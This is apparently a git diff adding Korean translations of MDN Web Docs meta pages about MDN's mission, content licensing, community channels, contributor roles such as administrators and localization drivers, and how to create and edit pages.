MDN Web Docs는 웹 기술과 웹을 더 강력하게 만들어주는 소프트웨어를 배우기 위해 끊임없이 발전하는 학습 플랫폼입니다. 아래와 같은 주제를 다루고 있어요.

+ + + +

우리의 목표

+ +

MDN의 목표는 간단합니다. 열린 웹의 모든 것을 완벽하고, 정확하면서도 피가 되고 살이 되는 문서를 제공해 드리는 것입니다. Mozilla에서 개발한 소프트웨어가 지원하냐 마느냐에 상관 없이, 웹에서 볼 수 있는 열린 기술이라면 문서로 만들어 보고 싶습니다.

+ +

덧붙여서, 우리는 Mozilla 프로젝트를 빌드하거나 도와주는 방법과 Firefox OS, Web 애플리케이션 개발에 관한 문서도 제공해드리고 있습니다.

+ +

MDN이 여러분이 생각하는 특정 주제를 다룰지 안 다룰지 잘 모르겠다고요? 이건 MDN에 있나요?을 읽어보세요.

+ +

도움을 주시려면

+ +

코드를 잘 짜거나 글을 잘 쓰는 사람만 MDN을 도와줄 수 있는 것은 아닙니다! 게시물이 이해가 잘 되는지 검토하는 것부터 글을 조금 더 보태주거나, 예제 코드를 만드는 방법까지 여러분들이 MDN을 도와주는 방법은 굉장히 많답니다. 사실은 우리는 도와줄 작업을 고르는 데 도움을 주는 글이 있을 정도로 도와줄 수 있는 방법이 많답니다. 얼마나 시간을 쓸 수 있는지, 또 어느 분야에 관심이 있는지에 따라 입맛대로 고를 수 있다고요!

+ +

여러분의 블로그나 홈페이지에서 MDN을 홍보해줄 수도 있구요. 

+ +

MDN 커뮤니티

+ +

MDN은 세계적인 공통체입니다. 이미 전세계 수많은 언어권에 있는 엄청난 공헌자들과 함께하고 있습니다. 우리 공동체를 더 알고 싶거나, MDN에 기여하고 싶다면 토론방IRC 채널을 언제든 찾아오세요. 아니면 @MozDevNet 트위터 계정통해서 우리가 뭘하는지 지켜보거나, 오류 신고 혹은 글쓴이, 공헌자에게 피드백(감사의 표현이면 좋겠네요!) 트윗을 날려도 됩니다.

+ +

MDN Web Docs 콘텐츠 사용법

+ +

MDN에 있는 콘텐츠는 변경이 가능하지만, 오픈소스 라이센스 아래 있습니다. 

+ +

저작권과 라이센스

+ +

MDN의 콘텐츠 사용은 여러 종류의 오픈소스 라이센스들 하에서만 가능합니다. 이 장에서는 우리가 제공하는 컨텐츠 유형과 그에 따른 라이센스에 대해 설명합니다. 

+ +

위키 문서와 기고문

+ +

MDN의 위키 문서들은 Mozilla 재단 안팍의 수많은 공헌자들의 도움으로 만들어졌습니다. 별다른 표시가 없는 한 이곳에 있는 내용은 크리에이티브 커먼즈 저작자 표시-동일조건 변경 허락(CC-BY-SA) v2.5나 그 이후 버전의 적용을 받습니다. "Mozilla 공헌자들(Mozilla Contributors)"이라고 출처를 표기하고, 출처가 되는 위키 페이지의 (온라인) 링크를 달거나 (인쇄물) URL을 표기하여 주십시오. 가령, 이 글의 출처를 표기해야 할 때, 아래와 같이 쓸 수 있습니다.

+ +
Mozilla 공헌자들(Mozilla Contributors)이 작성한 MDN 소개CC-BY-SA 2.5 라이선스의 적용을 받습니다.
+ +

예시에서 보시다시피, "Mozilla 공헌자들(Mozilla Contributors)"은 인용한 페이지의 변경 기록을 링크하고 있습니다. 더 많은 설명이 필요하다면  출처를 표시하는 가장 좋은 습관을 읽어보세요.

+ +
+

참고해보세요: WebPlatform.org의 MDN 컨텐츠를 참고하여 저 사이트에서 MDN의 컨텐츠를 어떻게 재사용하고 출처를 표기하는지 알아보세요.

+
+ +

예제 코드와 코드 조각

+ +

2010년 8월 20일 이후 추가된 코드 예제는 저작권을 갖지 않습니다(퍼블릭 도메인 CC0). 어떠한 라이선스 공지도 필요하지 않지만, 혹시 필요하다면 다음 내용을 추가할 수 있습니다. "모든 저작권을 퍼블릭 도메인으로 모두에게 공개합니다. "Any copyright is dedicated to the Public Domain. http://creativecommons.org/publicdomain/zero/1.0/"

+ +

2010년 8월 20일 이전에 이 위키에 작성된 코드 예제는 MIT 라이선스의 적용을 받으니, 반드시 다음의 MIT 템플릿에 해당하는 권한 정보를 삽입하여야 합니다. "© <마지막으로 위키 페이지를 수정한 날짜> <위키에 이 내용을 넣은 사람의 이름>"

+ +

기여할 때

+ +

이 위키에 기여하고 싶으시다면, 반드시 크리에이티브 커먼즈 저작자 표시-동일조건 변경 허락 라이선스(또는 편집하고 있는 문서에 이미 적용된 다른 라이선스) 하에 사용할 수 있도록 문서를 작성하여야 하고, 여러분의 코드 예제는 Creative Commons CC-0(퍼블릭 도메인) 하에 이용할 수 있어야 합니다. 이 위키에 추가함으로써 여러분들의 기여가 그러한 라이선스 아래에 이용 가능하다는 것을 이미 동의했다고 간주합니다.

+ +

몇몇 오래된 컨텐츠는 위에서 설명했던 것과 다른 라이선스 하에 이용 가능합니다. 이러한 경우 해당 문서는 다른 라이선스 블럭을 페이지의 맨 아래에 위치시켜 표시하고 있습니다.

+ +
+

중요합니다: 다른 라이센스의 적용을 받는 페이지는 더이상 만들 수 없습니다.

+
+ +

작성자가 다른 이에게 부여하지 않는 한, 기여된 자료의 저작권은 해당 작성자에게 있습니다.

+ +

지금까지 이야기했던 내용에 대해 질문이 있거나 걱정되는 부분이 있다면 MDN 관리자 이메일 로 연락주세요.

+ +

로고, 상표, 마크

+ +

이 웹사이트의 외관과 느낌, 상표, 로고 등의 마크에 대한 저작권은 Mozilla 재단에 있습니다. 이는 크리에이티브 커먼즈 라이선스 하에 있지 않으며, 로고 및 그래픽 디자인과 같은 저작물의 범위 내에 있을 경우 이 라이선스 정책 아래에서 사용할 수 없습니다. 문서의 원문을 사용하면서 이러한 저작물의 권리도 사용하고 싶다거나, 이러한 라이선스 정책을 따르는 것에 관하여 다른 질문이 있다면, Mozilla 재단에 연락을 해야 합니다: licensing@mozilla.org.

+ +

MDN 링크걸기

+ +

MDN 링크하기를 보고 모범사례를 확인하세요. 

+ +

내용 다운받기

+ +

MDN 전체를 압축한 tar 파일을 다운받을 수 있습니다. (2017년 2월 기준 2.1GB)

+ +

단일 페이지

+ +

URL에 당신이 원하는 문서 형태의 문서 파라미터를 추가하면 됩니다. 

+ +

제3자 도구

+ +

Dash(OS X용)나 Zeal(리눅스/윈도우용)와 같은 도구를 사용하면서 MDN의 컨텐츠를 볼 수 있습니다.

+ +

또한 Kapeli는 HTML, CSS, JavaScript, SVG, and XSLT을 포함한 오프라인 MDN 문서를 출판합니다.

+ +

MDN의 문제점 보고하기

+ +

MDN에 문제 보고하기를 참조해 주세요.

+ +

MDN Web Docs가 지나온 길

+ +

MDN Web Docs는 (Mozilla Developer Network(MDN), Mozilla Developer Center(MDC)나 Devmo로 알려져 있던) Mozilla Developer Network 프로젝트는 Mozilla 재단이 AOL로부터 DevEdge의 원문 컨텐츠를 사용하는 라이선스를 취득한 2005년 초에 시작되었습니다. DevEdge 컨텐츠는 그때 자원봉사자들이 이 위키에 이전하여 개선하고 유지하기가 더욱 쉬워져, 지속적으로 유용한 내용을 만들기 위해 다듬어졌습니다.

+ +

10주년 기념 축하 페이지에서 더 자세한 내용을 볼수 있습니다. 참여했던 사람들의 생생한 증언들도 포함되어있습니다. 

+ +

Mozilla는

+ +

우리가 누구인지에 대해서 더 알아보고 싶거나, Mozilla의 구성원이 되는 법, 아니면 그냥 우리가 어디있는지 찾아보고 싶다면 제대로 찾아오신 게 맞습니다. 우리가 무엇을 위해 나아가고, 무엇이 우리를 다르게 만드는지 궁금하시다면 사명 페이지를 방문해보세요.

diff --git a/files/ko/mdn/about/mdn_services/index.html b/files/ko/mdn/about/mdn_services/index.html new file mode 100644 index 0000000000..1d04e3d468 --- /dev/null +++ b/files/ko/mdn/about/mdn_services/index.html @@ -0,0 +1,15 @@ +--- +title: MDN Services +slug: MDN/About/MDN_services +tags: + - Landing + - MDN Meta +translation_of: MDN/About/MDN_services +--- +
{{MDNSidebar}}
+ +

MDN 서비스는 기존 워크플로우에 적합하고 개발자가 웹 코드를 개선할 수 있도록 설계된 웹 개개발자를 위한 실험적 유틸리티입니다. 모든 MDN 서비스는 개발 초기 알파 단계에 있으므로, 아직 코드 품질 보장에 의존하지 않는 것이 좋습니다. 만약 프로토타입으로 실험하고 싶다면, 아래의 서비스들은 실험할 준비가 되어있으며, 우리는 그것에 대해 당신의 피드백을 받고 싶습니다.

+ +

웹 호환성 서비스 ("Discord")

+ +

Discord는 당신의 코드에서 호환성 문제를 포착하기 위한 GitHub webhook 입니다. 현재 CSS 코드를 doiuse로 스캔하고 GitHub의 코드 커밋에 주석을 추가합니다.

diff --git a/files/ko/mdn/community/conversations/index.html b/files/ko/mdn/community/conversations/index.html new file mode 100644 index 0000000000..9d41e6c30c --- /dev/null +++ b/files/ko/mdn/community/conversations/index.html @@ -0,0 +1,63 @@ +--- +title: MDN community conversations +slug: MDN/Community/Conversations +tags: + - Community + - Guide + - MDN Meta +translation_of: MDN/Community/Conversations +--- +
{{MDNSidebar}}
+ +

MDN "활동"은 MDN 웹사이트에서 발생하지만, "커뮤니티"는 별도의 온라인 토론과 채팅으로 발생합니다.

+ +

비동기적 토론

+ +

정보를 공유하고 토론을 계속하기 위해, MDN은 Mozilla Discourse 포럼에 자체 카테고리("MDN")를 가지고 있습니다. 문서 생성-번역-유지관리, MDN 플랫폼 개발, 미래계획, 목표설정, 진행상황 추적 등 MDN과 관련된 모든 글을 MDN 카테고리로 작성할 수 있습니다.

+ + + +

보존용 기록

+ +

2017년 6월 이전에는 MDN 관련 토론이 Google 그룹과 함께 게이트웨이되고 보관 된 메일 링리스트에서 진행되었습니다. 이전 토론을 검색하려면 이전 메일 링리스트에 해당하는 Google 그룹을 살펴보십시오. (예, 우리는이 이름들이 겹쳐지고 혼동을 일으킨다는 것을 알고 있습니다. 역사적인 사고입니다. 죄송합니다.)

+ +
+
mozilla.dev.mdc a.k.a dev-mdc
+
이 목록은 MDN의 문서 내용에 대한 토론 용이었습니다.
+
mozilla.dev.mdn a.k.a dev-mdn
+
이 목록은 MDN의 기본 Kuma 플랫폼 개발 작업에 관한 것입니다.
+
mozilla.mdn a.k.a mdn@
+
이 포럼은 MDN 웹 사이트 및 기타 관련 이니셔티브를위한 높은 수준의 계획 및 우선 순위 토론을위한 것입니다.
+
+ +

IRC 채팅하기

+ +

IRC(Internet Relay Chat)는 커뮤니티 멤버들끼리 매일 채팅하고 실시간으로 토론하기 위한 방법으로 선호됩니다. 저희는 MDN에 관련된 토론을 위해 irc.mozilla.org 서버에 있는 몇 가지 채널을 사용합니다.

+ +
+
#mdn
+
이 채널은 MDN 콘텐츠에 대해 토론하기 위한 기본적인 채널입니다. 저희는 작성, 콘텐츠 구성 등등에 대해 얘기합니다. 또한 저희는 여기서 "water cooler" 대화를 가집니다. 이는 저희의 커뮤니티가 연락을 유지하고 어울리기 위한 방법입니다. 또한 이는 데모 스튜디오, 프로필 등과 같이 MDN의 다른 측면(플래폼 개발이 아닌 부분)에 대해 토론하는 곳입니다.
+
 
+
#mdndev
+
이 채널은 우리의 개발 팀 - MDN이 작동하도록 코드를 작성하는 사람들 - 이 어울리고 그들의 일과를 토론하기 위한 곳입니다. 당신이 이 채널에 합류하고 개발에 참여하거나 혹은 단순히 당신이 소프트웨어에 대한 이슈에 관해 질문을 하는 것을 환영합니다.
+
+ +

이 채널들은 대부분 북미 지역에서 주중에 활발합니다.

+ +

당신은 IRC에 대해서 좀 더 알고 싶어하고, ChatZilla와 같은 설치형 IRC 클라이언트를 사용하고 싶어 할 것입니다. 이는 쉽고 빠르게 설치하고 사용할 수 있는 Firefox add-on에서 실행될 수 있습니다. 만약 IRC에 익숙하지 않다면, 참여하기 쉬운 방법에는 미리 mdnmdndev 채널들에 맞추어 설계된 mibit과 같은 웹기반 IRC 클라이언트를 사용하는 것이 있습니다. 

+ +

회의 (및 기타 행사)에 참가

+ +

MDN 팀은 MDN 커뮤니티에 열려있는 여러 정기 모임을 개최합니다. 일정, 의제 및 메모, 참여 방법에 대한 자세한 내용은 Mozilla wiki의 MDN Meetings 페이지를 참조하십시오.

+ +

이 회의 및 기타 회의, 지역 회의 및 기타 행사에 대한 MDN 이벤트 달력을보십시오. 되풀이 모임은 MDN Meetings wiki 페이지에 요약되어 있습니다.

+ +

 

+ +

If you see a meeting which takes place in the "mdn" channel on our Vidyo videoconferencing system, you can join the conversation on the web.

+ +

 

diff --git a/files/ko/mdn/community/index.html b/files/ko/mdn/community/index.html new file mode 100644 index 0000000000..faff8c5f2e --- /dev/null +++ b/files/ko/mdn/community/index.html @@ -0,0 +1,46 @@ +--- +title: MDN 커뮤니티 참여하기 +slug: MDN/Community +tags: + - Community + - Guide + - Landing + - MDN Meta +translation_of: MDN/Community +--- +
{{MDNSidebar}}
+ +
{{IncludeSubnav("/ko/docs/MDN")}}
+ +
+

MDN 웹 문서는 위키 그 이상입니다. MDN은 공개 웹 기술을 사용하는 개발자들을 위해 뛰어난 자료를 만드는 사람들이 함께 작업하는 커뮤니티입니다.

+
+ +

당신이 MDN에 기여하시는 것도 물론 좋지만, 더 나아가 공식 커뮤니티에 참여하시면 정말 기쁘겠습니다. 참여하시는 방법은 다음 세 단계면 됩니다. 

+ +
    +
  1. 먼저 MDN 계정 생성을 만들고
  2. +
  3. 토론에 참여하고
  4. +
  5. 어떤 일이 일어나는지 지켜보세요.
  6. +
+ +

커뮤니티가 돌아가는 방법

+ +

MDN 커뮤니티를 더 자세히 설명하는 글입니다.

+ +
+
+
커뮤니티의 역할
+
MDN 커뮤니티에는 특정 책임이 주어진 몇가지 역할들이 있습니다. 
+
문서화 스프린트
+
문서화 스프린트 운영 가이드입니다. 스프린트를 운영해온 사람들의 유익한 조언과 팁이 포함되어있습니다. 
+
어떤일이 일어나는지 지켜보기 
+
MDN은 Mozilla Developer Network community가 제공합니다. 하고있는 일에 대한 정보를 공유하는 몇가지 방법을 소개합니다. 
+
MDN 커뮤니티의 토론
+
MDN의 "작업"은 MDN 사이트에서 하지만, "소통"은 (비동기)  토론과 (실시간) 온라인 채팅을 통해 일어납니다.
+
커뮤니티에서 작업하기
+
규모와 관계 없이 MDN 문서 기여시 반드시 알아야 할 것은  MDN 커뮤니티의 일원으로 어떻게 일할는지를 아는 것입니다. 이 글은 다른 글쓴이, 기술팀과 상호작용을 어떻게 잘 할 수 있는지를 알려줍니다. 
+
+
+
+
diff --git a/files/ko/mdn/community/roles/admins/index.html b/files/ko/mdn/community/roles/admins/index.html new file mode 100644 index 0000000000..3fb6fed5bf --- /dev/null +++ b/files/ko/mdn/community/roles/admins/index.html @@ -0,0 +1,59 @@ +--- +title: MDN administrator role +slug: MDN/Community/Roles/Admins +translation_of: MDN/Community/Roles/Admins +--- +
{{MDNSidebar}}

MDN의 규칙 중에서, 관리자의 규칙은 최고의 권한을 가지고 있습니다. 관리자들은 사이트의 플래폼의 모든 기능들과, 심지어 화면 뒷쪽의 자료구조에 제한된 접근을 할 수도 있습니다. 이 페이지는 관리자들이 할 수 있는 일들과, 어떻게 당신이 그러한 것들을 돕기위하여 관리자에게 연락할 수 있는지를 서술합니다.

+ +

현재 MDN 관리자들

+ +

현재, 다음에 오는 유저들은 관리자들입니다. {{UserLink("Sheppy")}}, {{UserLink("fscholz")}}, {{UserLink("teoli")}}, {{UserLink("jswisher")}}

+ +

관리자 권한

+ +

관리자들은 많은 양의 특수한 능력을 가지고 있습니다. 다음은 그 중에서 몇가지입니다:

+ +

페이지 이동

+ +

모든 관리자들은 페이지 혹은 페이지 묶음을 이동할 권한이 있습니다. 

+ +

페이지 삭제

+ +

모든 관리자들은 MDN 위키의 어떤 페이지를 삭제할 권한이 있습니다. 하지만, 보통, 당신이 페어떤 페이지가 삭제되길 원한다면, 간단히 "junk"태그를 페이지에 추가하세요. 내용을 수정하거나 삭제하지 마세요(그렇게 하는 것은 페이지가 실제로 삭제될 필요가 있는지 확실히 확인하기 힘들어집니다.) 만약 특수한 문제가 있다면 (예를 들어 공격적인 내용), 관리자에 직접 연락해주세요.

+ +

관리자들은 또한 이전에 삭제된 페이지들을 복구할 권한이 있습니다.(최소한, 그 페이지들이 시스템으로부터 삭제되지 않았을때까지). 만약 당신이 어떤 페이지가 부적절하게 삭제되었다는 것을 발견하면, 관리자에게 연락하세요.

+ +

권한을 부여하거나 삭제

+ +

관리자들은 유저의 권한을 변경할 수 있습니다. 이러한 과정 뒤에, 어떤 처리가 있습니다; 더 많은 정보를 위하여, 도구들을 보세요.

+ +

사용자들을 금지하거나 풀어주기

+ +

때때로, 사용자들은 그들이 MDN 컨텐츠를 수정하지 못하도록 금지할 필요가 있을 만한 문제를 일으킵니다. (임시적으로 혹은 영구적으로). 관리자들은 (토픽 드라이버들 혹은 지역화 팀 리더들 또한)은 관리자들을 이미 존재하는 금지를 풀어줄뿐만 아니라, 사용자들을 금지할 권한이 있습니다.

+ +

zones을 생성/편집

+ +

MDN 관리자들은 새로운 zones을 생성하고, 존재하는 페이지를 zones에 넣고, zone의 정보와 CSS를 수정할 수 있습니다. zones에 대해 더 많은 정보를 원하면, Zone 관리자 가이드를 보세요.  

+ +

유저 정보 편집

+ +

MDN 관리자들은 아직 편집을 위한 유저 인터페이스가 존재하지 않는 유저 정보를 변경할 권한이 있습니다. 만약 당신의 이름을 변경하거나, email 주소를 예전의 MDN 계정과 연동시킬 필요가 있다면, 우리는 당신을 도와줄 수 있다고 약속할 수 없습니다; 모든 요청이 만족될수는 없습니다.

+ +

캘린더 항목을 추가하거나 변경

+ +

MDN 관리자들은 MDN 이벤트 캘린더에 추가하거나 업데이트를 할 수 있습니다. 만약 당신의 팀이 미팅을 가지거나, 이미 존재하는 이벤트에 문제가 보인다면, 부디 관리자들이 알 수 있게 해주세요, 우리가 처리하겠습니다.

+ +

KumaScript macros를 편집

+ +

모든 MDN 관리자들은 KumaScript macros를 편집할 수 있습니다.(또한 KumaScript 템플릿으로도 알려져 있습니다. 비록 그 팀이 정황상 비난 받더라도).

+ +

관리자에게 연락하기

+ +

당신은 특정한 관리자를 위에 있는 그들의 프로필을 이용하거나, 혹은 mdn-admins@mozilla.org에 메시지를 전송함으로써 연락할 수 있습니다. 

+ +

다음도 같이 보세요

+ + diff --git a/files/ko/mdn/community/roles/index.html b/files/ko/mdn/community/roles/index.html new file mode 100644 index 0000000000..c98b89f4e1 --- /dev/null +++ b/files/ko/mdn/community/roles/index.html @@ -0,0 +1,14 @@ +--- +title: 커뮤니티 역할 +slug: MDN/Community/Roles +tags: + - Community + - Landing + - MDN Meta +translation_of: MDN/Community/Roles +--- +
{{MDNSidebar}}
+ +

MDN 커뮤니티에는 각자 맡은 책임이 있는 역할이 몇 가지 있습니다.

+ +

{{LandingPageListSubPages()}}

diff --git a/files/ko/mdn/community/roles/localization_driver_role/index.html b/files/ko/mdn/community/roles/localization_driver_role/index.html new file mode 100644 index 0000000000..f3bde14ee8 --- /dev/null +++ b/files/ko/mdn/community/roles/localization_driver_role/index.html @@ -0,0 +1,66 @@ +--- +title: 지역화 운동가의 역할 +slug: MDN/Community/Roles/Localization_driver_role +translation_of: MDN/Community/Roles/Localization_driver_role +--- +
{{MDNSidebar}}

MDN 지역화 운동가는 특정 언어나, 지역을 위한 MDN의 문서 활동들을 조정하고 이끌고 있습니다. 그들은 MDN의 구조 문서, 번역가들의 흥미, 그리고 모질라에 관해 정보를 유지합니다. 그들은 그들의 지역에 관련된 모든 번역을 할 필요는 없습니다. 그리고 사실상, 그들은 번역에 관심있는 기여자들의 그룹을 모으고, 그룹 사이에서 작업을 조정하도록 권해집니다. 활발한 지역 목록과 현재 l10n 운동가들의 지역화 프로젝트 페이지를 보십시오. 

+ +

왜 지역화 운동가가 돼야 하는가?

+ +

l10n 운동가팀이 되는것은 커뮤니티에 깊게 빠져들게될 기회를 제공하며, 그리고 어떻게 모질라가 당신의 언어 커뮤니티에 인식되는지에 대한 강력한 영향을 가지는 것입니다. 아마도 당신의 현재 직업에 혹은 다른 직업을 얻는 것에 도움을 주기위해 이런 전문 지식을 사용할 수 있습니다.

+ +

게다가, l10n 운동가로써, 당신은 웹의 품질을 향상시키기 위한 원동력이 될 수 있습니다.

+ +

l10n 운동가가 되는 것

+ +

아직 l10n 운동가를 가지지 않은 지역에서 l10n운동가가 되기위해서는, 다음의 자질을 만족할 필요가 있습니다.

+ + + +

l10n 운동가가 되기 위한 최적의 방법은 그들 처럼 활동하는 것입니다. l10n 운동가들의 과제의 대부분은 특별한 능력이나 허가를 요구하지 않습니다.

+ +

당신이 위의 요구사항을 만족했다면, 당신은 운동가가 되고 싶어하는 지역의 dev-mdc 메일링 리스트에 당신의 자질에 대한 개요와 이 지역에 대해 무엇이 필요한지에 대한 설명과 함께 글을 올릴 수 있습니다. 만약 당신이 자질들을 만족한다면, 저희는 당신이 자립하고, 어떻게 당신에게 주어진 새로운 특권을 사용하는지에 대한 기본이 훈련되도록 노력할 것입니다.

+ +

l10n 운동가들 도와주기

+ +

저희는 각 지역의 운동가들의 수를 제한하지 않습니다. 당연히, 그들은 협력할 필요가 있습니다 :-) 그러니 그들을 도와주는 것을 망설이지 마세요. 스팸과 오류같은 컨텐츠를 감시하는 것을 도와주세요. 새롭게 번역된 기사를 편집하는 것과 이미 번역된 기사들을 갱신하는 것 모두 당신이 도울 수 있는 작업들입니다.

+ +

의무

+ +

l10n 운동가들의 역할은 다수의 중요한 의무가 달려옵니다. 그 의무들중 몇 가지에는:

+ + + +

특권

+ +

MDN의 모든 허가된 사용자들에게 주어진 특권에 더하여(변경을 되돌리기와 같은 l10n 운동가들은 이러한 특권들을 가지고 있습니다:

+ + + +

저희는 앞으로 기여자들의 리스트에 접근하거나, 대량으로 이메일을 보내는 사람들을 차단하는 권한과 같은 새로운 특권들을 추가할 예정입니다. 

+ +

임무를 떠나서

+ +

한 명의 l10n 운동가가 되면, 당신은 임무에 영원히 머무를 필요가 없습니다. 당신의 흥미, 우선순위, 그리고 할애가능한 시간은 바뀔 수 있습니다. 당신이 한 명의 l10n 운동가로써 계속 할 수 없다고 생각한다면(혹은 당신이 이미 그만두었다는 것을 깨달았다면), 부디 아래의 절차를 취해주세요:

+ + + +

만약 당신이 2달 이상동안, MDN(혹은 dev-mdc 메일링 리스트)에 활발히 활동해오지 않았다면, l10n 운동가를 계속하기를 원하는 지를 확인하기 위해 연락받을 수 있습니다. 3달 이상 활동하지 않거나, 연락받았을 때 응답하지 않은 L10n 운동가들은 그들의 역할로부터 삭제될 수 있습니다. 

+ +

 

diff --git a/files/ko/mdn/community/working_in_community/index.html b/files/ko/mdn/community/working_in_community/index.html new file mode 100644 index 0000000000..0398e29823 --- /dev/null +++ b/files/ko/mdn/community/working_in_community/index.html @@ -0,0 +1,110 @@ +--- +title: 커뮤니티에서의 활동 +slug: MDN/Community/Working_in_community +translation_of: MDN/Community/Working_in_community +--- +
{{MDNSidebar}}
+ +

A major part of contributing to MDN documentation on any significant scale is knowing how to work as part of the MDN community. This article offers tips to help you make the most of your interactions with both other writers and with development teams.

+ +

에티켓 가이드라인

+ +

Mozilla 커뮤니티와 함께 일하면서 지켜주셨으면 하는 사항들입니다.

+ + + +

Be tactful

+ +

Always be tactful and respectful when communicating with others.

+ +

Politely pointing out mistakes

+ +

If your purpose in contacting someone is to ask them to do something differently, or to point out a mistake they've been making (especially if they repeatedly do it), start your message with a positive comment. This softens the blow, so to speak, and it demonstrates that you're trying to be helpful, rather than setting you up as the bad guy.

+ +

For example, if a new contributor has been creating lots of pages without tags, and you'd like to point out this problem, your message to them might look like this (the stuff you'd need to change for each case is underlined):

+ +
+

안녕하세요 홍길동씨, 웜홀 API 문서 에 대한 홍길동씨의 기여에 대해 감사드립니다. 저는 특히 홍길동씨께서 가독성과 세부정보를 균형있게 서술한 점을 인상깊게 보았습니다. 아마도 작업하시면서 correct tag를 페이지마다 추가해주신다면 이 문서를 더 유익하고 잘 만들어 나갈 수 있을 것 같습니다.

+ +

자세한 사항은 MDN 태그가이드를 이용해 주세요(https://developer.mozilla.org/en-US/docs/MDN/Contribute/Howto/Tag)

+ +

다시 한번 감사를 드리며 앞으로의 기여활동도 기대하겠습니다!

+
+ +

지식 공유

+ +

MDN 프로젝트에 참여하면서 무슨 일들이 일어나는지 파악하고 다른 멤버들과 소통하는 것이 본인에게 도움이 됩니다. 커뮤니티 내의 다른 분들과 소통하므로 아이디어를 얻거나 공유할 수 있습니다. 우리는 누가 주체가 되어 무슨 일을 진행하는지 알 수 있는 도구들과 리소스들을 제공하고 있습니다.

+ +

Communication channels

+ +

There are several ways you can engage with community members (either developers or writers), each of which has some of its own particular rules of etiquette.

+ +

Discourse

+ +

The MDN Discourse forum is a good place to ask general questions about MDN contribution and start discussions.

+ +

Chat

+ +

Use the Matrix chat system to reach people in real time. MDN staff members are available in the MDN Web Docs room, and are active during work days in Europe and North America. Explore the other chat rooms to find people involved in topics you're interested in.

+ +

GitHub

+ +

If you find a problem on MDN, or want to ask a question, you can file an issue over on our GitHub sprints repo issues! They will then be triaged and actioned at some point in the future.

+ +

Email

+ +

Sometimes, a private email exchange between you and one or more other people is the way to go, if you have their email address.

+ +
+

Note: As a general rule, if someone has posted their email address on documents about the technology you're documenting, has given you their email address personally, or generally has a well-known email address, email is an acceptable "first contact" approach. If you have to dig for it, you probably should try to get permission Discourse or a mailing list first, unless you've exhausted all other attempts at getting in touch.

+
+ +

Content status tools

+ +

We have several useful tools that provide information about the status of documentation content.

+ +
+
Revision dashboard
+
The revision dashboard provides a fantastic tool to review changes made to MDN content. You can see recent history, choose a range of time to view, and filter based on things like locale, contributor's name, and topic. Once you're looking at a set of revisions, you can view the changes made in each revision, quickly open the page, see a full history, or even revert the changes (if you have those privileges).
+
Documentation status overview
+
Our documentation status overview page provides a list of all the areas of MDN that have been configured for status tracking, with information about how many pages therein need different types of work done. Click through to a particular topic area to see detailed lists of content that needs work, such as pages that have no tags, or are tagged with indicators that certain types of work need to be done. You can even see lists of pages that haven't been updated in a long time and may be out of date, as well as a list of bugs that have been flagged as impacting the documentation in that area.
+
Documentation project plans
+
We have a number of writing projects that are in the planning stages, or are large and ongoing, for which we have written planning documents to help us keep track of what we need to get done.
+
MDN Taiga
+
The MDN staff writers use a tool called Taiga to manage current and future documentation projects. You can take a look to see what we're doing and how it's going, and you can see what projects we'd like to see happen soon. Some of those will be taken on by staff writers, but you should feel free to take one over if you like! For more information about the agile processes followed by the MDN team, see our Process page on the Mozilla wiki.
+
+ +

The development community

+ +

Possibly the most important relationships to develop and maintain, as a member of the MDN writing community, are those you develop and sustain with the developers. They create the software we're developing, but they're also the most useful source of information we have. It's crucial that we maintain good relations with developers—the more they like you, the more likely they are to answer your questions quickly, accurately, and thoroughly!

+ +

In addition, you represent the MDN writing community. Please help ensure we keep our excellent working relationship with the dev team by making every interaction they have with the writing team be a good one.

+ +

On a related note, a great way to find the right person to talk to is to look at the module owners lists.

+ +

The writing community

+ +

The writing community is a large one. While the number of extremely frequent, or large-scale contributors is relatively small, there are many dozens or hundreds of people who contribute at least now and then. Fortunately, these are by and large awesome people with a genuine love of the Web, Mozilla, and/or documentation, and interacting with them is almost always pretty easy.

+ +

See the article Join the community for more information about the MDN community.

+ +

The most frequent place you'll directly interact with other writers is in the Discourse forum.

+ +

By keeping in mind the {{anch("General etiquette guidelines")}}, you'll find that usually, things go very smoothly.

+ +

See also

+ + diff --git a/files/ko/mdn/contribute/creating_and_editing_pages/index.html b/files/ko/mdn/contribute/creating_and_editing_pages/index.html new file mode 100644 index 0000000000..6993674a4f --- /dev/null +++ b/files/ko/mdn/contribute/creating_and_editing_pages/index.html @@ -0,0 +1,166 @@ +--- +title: 페이지 생성 및 수정 +slug: MDN/Contribute/Creating_and_editing_pages +tags: + - 초보자 + - 페이지생성 + - 페이지수정 + - 페이지편집 +translation_of: MDN/Contribute/Howto/Create_and_edit_pages +--- +
{{MDNSidebar}}

신규 공헌자가 이미 있는 문서를 수정하거나 신규 문서를 생성하는 법에 대해 설명합니다. 

+ +

기존 페이지 수정하기

+ +

페이지를 수정하기 위해서:

+ + + +

MDN에 탑재된 편집기 사용에 대한 좀 더 세부적인 내용은 MDN 편집기 가이드에 있는 편집기 UI 요소를 참고하세요.

+ +

변경 내용 미리보기

+ +

수정한 내용이 어떤 모습일지 보기 위해서는...

+ + + +

하지만!! 미리보기는 저장된 페이지가 아닙니다. 저장 전 편집 페이지를 닫지 않도록 주의하세요!!

+ +

리비전 답글

+ +

 미리보기로 확인했다면, 변경사항(리비전)를 저장하고 싶을 겁니다. 저장 전, 편집영역 아래 있는 리비전 답글 영역에 변경 사유를 남겨주세요. 다른 공헌자들이 참고할 수 있도록요. 예를 들면, 새로운 섹션을 추가했거나, 좀 더 정확한 용어를 쓰기 위해 단어를 수정했거나, 언어를 구분하기 위해 문장을 다시 썼거나, 중복되는 내용이기 때문에 정보를 제거했다 등을 적으면 됩니다. 

+ +

목차

+ +

페이지 상단에 "이동"이라는 목차 영역은 페이지에 있는 소제목 이동 링크를 자동으로 만들어준 것입니다.  소제목을 바꾸면 목차명도 바뀝니다. 편집화면 '설명 번역'의 "TOC" 드롭다운 메뉴를 통해서 목차를 제거하거나 목차 깊이를 조절할 수 있습니다. 

+ +

태그

+ +

페이지 내용과 기능을 설명하는 태그를 페이지의 편집 섹션 아래에서 추가하거나 제거할 수 있습니다. 어떤 태그를 적용할 것인지에 대해 자세히 알고 싶으면 페이지에 알맞은 태그를 붙이는 방법을 보세요.

+ +

검토가 필요한가요?

+ +

전문가 또는 숙련된 공헌자의 검토가 필요하다고 생각되면, 저장하기 전에, 검토 요청 체크박스를 이용하여, (코드 샘플, API 혹은 테크놀로지에 대한) 기술상의 검토, (산문, 문법 및 내용에 대한) 편집상의 검토, (KumaScript 코드에 대한) 템플릿 검토를 요청할 수 있습니다.

+ +

자료 첨부

+ +

